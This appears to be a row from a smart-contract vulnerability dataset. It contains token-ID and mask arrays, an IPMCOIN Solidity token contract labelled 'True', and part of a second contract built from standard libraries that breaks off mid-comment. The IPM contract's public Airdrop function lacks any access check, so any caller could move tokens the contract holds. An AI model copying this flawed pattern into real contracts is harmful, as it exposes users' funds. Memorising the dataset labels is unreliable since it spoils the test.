1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
2023,
2003,
1996,
8278,
2008,
1063,
14400,
21572,
18037,
1065,
24273,
1997,
2049,
14400,
1012,
1008,
1013,
8278,
21307,
5243,
8663,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
2442,
2709,
2019,
4769,
2008,
2064,
2022,
2109,
2004,
1037,
11849,
2655,
4539,
1012,
1008,
1008,
1063,
14400,
21572,
18037,
1065,
2097,
4638,
2008,
2023,
4769,
2003,
1037,
3206,
1012,
1008,
1013,
3853,
2775,
5714,
10814,
3672,
3370,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
12200,
19339,
3406,
1006,
4769,
2047,
5714,
10814,
3672,
3370,
1007,
6327,
1025,
1065,
1013,
1013,
5371,
8311,
1013,
5024,
3012,
1013,
8278,
1013,
1999,
6199,
2595,
3567,
11314,
21450,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
8278,
1999,
6199,
2595,
3567,
11314,
21450,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
//////////////////////////////////
//////////////////////////////////
contract IPM is StandardToken ,Ownable {
string public constant name = "IPMCOIN";
string public constant symbol = "IPM";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 3000000000 * 10 ** uint256(decimals);
function IPM() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner=msg.sender;
}
function Airdrop(ERC20 token, address[] _addresses, uint256 amount) public {
for (uint256 i = 0; i < _addresses.length; i++) {
token.transfer(_addresses[i], amount);
}
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1004,
1001,
4464,
1025,
1056,
2907,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
9413,
2278,
11387,
22083,
2594,
1063,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
3937,
18715,
2368,
2003,
9413,
2278,
11387,
22083,
2594,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
5703,
2015,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
5651,
1006,
22017,
2140,
1007,
1063,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1012,
4942,
1006,
1035,
3643,
1007,
1025,
5703,
2015,
1031,
1035,
2000,
1033,
1027,
5703,
2015,
1031,
1035,
2000,
1033,
1012,
5587,
1006,
1035,
3643,
1007,
1025,
4651,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
1035,
2000,
1010,
1035,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1063,
2709,
5703,
2015,
1031,
1035,
3954,
1033,
1025,
1065,
1065,
3206,
9413,
2278,
11387,
2003,
9413,
2278,
11387,
22083,
2594,
1063,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-13
*/
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
